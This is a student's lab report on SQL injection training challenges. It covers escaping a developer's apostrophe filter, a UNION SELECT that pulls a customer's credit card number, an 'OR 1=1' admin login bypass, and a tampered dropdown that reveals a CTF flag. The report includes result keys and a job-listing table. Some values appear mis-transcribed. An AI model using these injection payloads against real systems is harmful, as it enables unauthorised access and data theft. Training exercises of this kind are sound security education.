



REPORT

SQL INJECTION

Mahmood Sakib

SQL 01:

Task: Escape developers escaping technique.

SQL Injection Escaping Challenge

To complete this challenge, you must exploit SQL injection flaw in the following form to find the result key. The developer of this level has attempted to stop SQL Injection attacks by escaping apostrophes so the database interpreter will know not to pay attention to user submitted apostrophes.

Please enter the **Customer Id** of the user that you want to look up

Search Results

Name	Address	Comment
John Fits	thislifecouldbethelast@example.com	null
Rubix Man	dontkidyourself@cube.com	null
Rita Hanolan	dontfoolyourself@example.com	Well Done! The Result key is 0dcf9078ba5d878f9e23809ac8f013d1a08fdc8f12d 1a4746dbe86c0aac
Paul O Brien	andweretooyoungtosee@deaf.com	null

SQL 02:

Task: Get his credit card number.

SQL Injection Challenge Three

To complete this challenge, you must exploit a SQL injection issue in the following sub application to acquire the **credit card number** from one of the **customers** that has a **customer name** of **Mary Martin**. Mary's credit card number is the result key to this challenge.

Please enter the **Customer Name** of the user that you want to look up

Search Results

Name

Mary Martin

9815 1547 3214 7569

Code used: Mary Martin' UNION SELECT CreditCardNumber FROM customers WHERE CustomerName="Mary Martin"##

SQL 03:

Task: Sign as an Admin.

SQL Injection 4

To acquire the result key for this challenge you must successfully sign in as an administrator.

Super Secure Payments

Please sign in to make your very secure payments.

UserName:

Password:

Login Result

Signed in as admin

As you are the admin, here is the result

key: **d316e80045d50bdf8ed49d48f130b4acf4a878c82faef34daff8eb1b98763b6f**

Code used:

username: \

Password = 'OR 1=1 AND userName="admin"'

Step1:

The screenshot shows a web browser at the URL https://flags.codepath.com/sql/public/protected/flags/057job_type=Engineer&submit=submit. The page title is "Cryptoville Job Postings v1.5". The navigation bar includes "Public Site", "Protected Site", and "Log out". Below the navigation bar are three buttons: "Previous", "Home", and "Next". The main heading is "Cryptoville Job Postings v1.5". There is a dropdown menu set to "Engineer" and a "submit" button. A table lists job postings with columns: Job ID, Job Title, Posted Date, Expire Date, Base Salary, and Application Link. The table contains six rows of job listings. On the right side of the browser window, the developer tools are open, showing the HTML structure of the page. The form element is highlighted, showing the select dropdown for job type.

Job ID	Job Title	Posted Date	Expire Date	Base Salary	Application Link
7797e9b9-6b8e-4ba6-8b69-fcbd5fcbef174	Chemical Engineer	2016-12-05	2018-12-15	\$127688.46	http://apple.com/nullam/slt.jpg
10aff394-6505-4393-9ba5-5c41953ac85f	Mechanical Systems Engineer	2017-08-09	2018-02-03	\$109830.65	http://noaa.gov/non/lectus.js
1e9f9da8-c428-43a9-a0fb-1839bf443ecb	Structural Engineer	2017-01-09	2017-10-20	\$123491.71	https://yandex.ru/consequat/varius/integer/ac/leo.html
cbf803ae-9506-45b3-bed2-74ef77954d31	Assistant Engineer	2016-11-20	2017-10-28	\$126533.50	http://ftc.gov/volutpat/eieifend/donec/ut/dolor.aspx
3daa450b-8215-434b-aa7e-ebc530704ba0	Civil Engineer	2017-07-08	2018-01-23	\$109575.47	https://kickstarter.com/pede/tobortis/ligula/slt/amet.js
86056619-a66a-4a32-84ab-abbdca426141d1	Automation Engineer	2017-07-07	2017-10-02	\$94931.26	https://businesswire.com/voan.fc



My code created an extra dropdown menu name sqlInjection with bad code written inside.

c83ae229-b5aa-4c7f-8bd4-dec99d17051f	Senior Editor	2017-04-25	2017-09-17	\$118168.15	/sit/amet.jsp
dee09711-a566-4c84-bb78-52b0bcbc6313	Financial Analyst	2017-03-09	2017-10-23	\$85821.05	http://bloglines.com/s/libero.jpg
3daa450b-8215-434a-a7e-ebc530704ba0	Civil Engineer	2017-07-08	2018-01-23	\$109575.47	https://kickstarter.com/pede/lobortis/ligula/sit/amet.js
bf34fc2b-d9d3-46a7-beb8-61b0d2c77445	Legal Analyst	2017-03-28	2018-02-08	\$90687.52	http://chron.com/turpis/eget.png
a1fa31cc-1c1c-4c3a-a734-ec6ae8ecf3b4	Cost Analyst	2016-11-29	2017-10-14	\$77118.07	http://multiply.com/molestie/henderit.png
141a03b6-5afe-4178-b2e8-fc43a87afd19	Information Systems Manager	2017-05-24	2017-09-09	\$89514.87	http://prweb.com/pede/Justo/eu/massa/donec.jsp
86056619-a66a-4a32-84ab-abbda4261d14	Automation Engineer I	2017-07-07	2017-10-02	\$94931.26	https://businesswire.com/non.js
f24c1bfc-788b-4bd4-a44b-dacb7a3325e0	Desktop Support Manager	2017-11-27	2017-10-31	\$85831.42	http://dmoz.org/venenatis/lacinia/aenean/sit/amet.html
f847a9c5-8398-431e-ae7d-4f81391012f3	Flag Holder	2017-02-26	2017-12-26	\$84907.68	flag: CTFIUNNAMABLE_ELDITCH_EFFULGENCE
6f042f0-1650-41a9-8ea4-bd2ca9e337ad	Account Manager	2017-07-01	2017-09-11	\$125497.97	https://bloomberg.com/congue/elementum/in/hac.js
e13569d3-5f12-4931-9f67-f6491923a125	Web Designer II	2017-03-22	2018-02-20	\$122683.31	http://nymag.com/orci/luctus/et.html
fd1f2105-7a33-4f83-b6c8-8b0c97efc088	Engineer III	2017-06-02	2017-11-26	\$109229.36	http://livejournal.com/voluptat/eleifend/donec/ut/dolor/morbi.json
c084e115-ad8d-4a53-ac49-ffda3b1f969c	Office Researcher II	2017-01-15	2017-10-26	\$129787.84	https://squarespace.com/montes/nascetur/ridiculus/mus/etiam/vel/augue.js
df56cce0-6b85-46d0-a55b-a76e172fe0f1	Quality Control Researcher	2016-11-03	2017-09-09	\$93919.58	https://archive.org/consequat/in/consequat/ut/nulla.jpg

Found the flag.

